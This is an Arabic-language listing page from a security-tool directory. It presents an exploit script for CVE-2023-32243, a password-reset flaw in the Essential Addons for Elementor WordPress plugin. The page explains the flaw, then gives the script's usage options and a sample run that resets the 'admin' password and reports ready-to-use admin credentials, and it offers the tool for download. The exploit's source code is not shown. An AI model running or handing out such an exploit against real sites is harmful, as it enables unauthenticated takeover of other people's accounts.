Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/randomrobbiebf/cve-2023-32243
تصعيد الامتيازاتهجمات كلمات المرورتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراق
GitHubrandomrobbiebf/cve-2023-32243

CVE-2023-32243

CVE-2023-32243 - الإضافات الأساسية لـ Elementor 5.4.0-5.7.1 - تصعيد صلاحيات بدون مصادقة

عرض المستودع
8521منذ 3 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2023-32243.

إضافات أساسية لـ Elementor 5.4.0-5.7.1 - تصعيد الامتيازات غير المصادق عليه

معلومات

المكون الإضافي لا يتحقق من مفتاح إعادة تعيين كلمة المرور، مما قد يسمح للمهاجمين غير المصادق عليهم بإعادة تعيين كلمة مرور أي حساب إلى أي شيء يريدونه، عن طريق معرفة البريد الإلكتروني أو اسم المستخدم المرتبط، والحصول على الوصول إليه.

إعداد بايثون

root@kitploit:~
pip install -r requirements.txt

تفاصيل الاستغلال

https://patchstack.com/articles/critical-privilege-escalation-in-essential-addons-for-elementor-plugin-affecting-1-million-sites/

الاستخدام

root@kitploit:~
usage: exploit.py [-h] -u URL -p PASSWORD [-usr USERNAME]

options:
  -h, --help            show this help message and exit
  -u URL, --url URL     URL of the WordPress site
  -p PASSWORD, --password PASSWORD
                        Password to set for the selected username
  -usr USERNAME, --username USERNAME
                        Username of the user to reset if you already know it.

مثال

root@kitploit:~
python3 exploit.py --url http://wordpress.lan  --password "adminadmin2"
Please select a username:
1. admin
> 1
Nonce value: f010bc2ac9
All Set! You can now login using the following credentials:
Username:  admin
Password:  adminadmin2
Admin Url: http://wordpress.lan/wp-admin/
تنزيل الأداة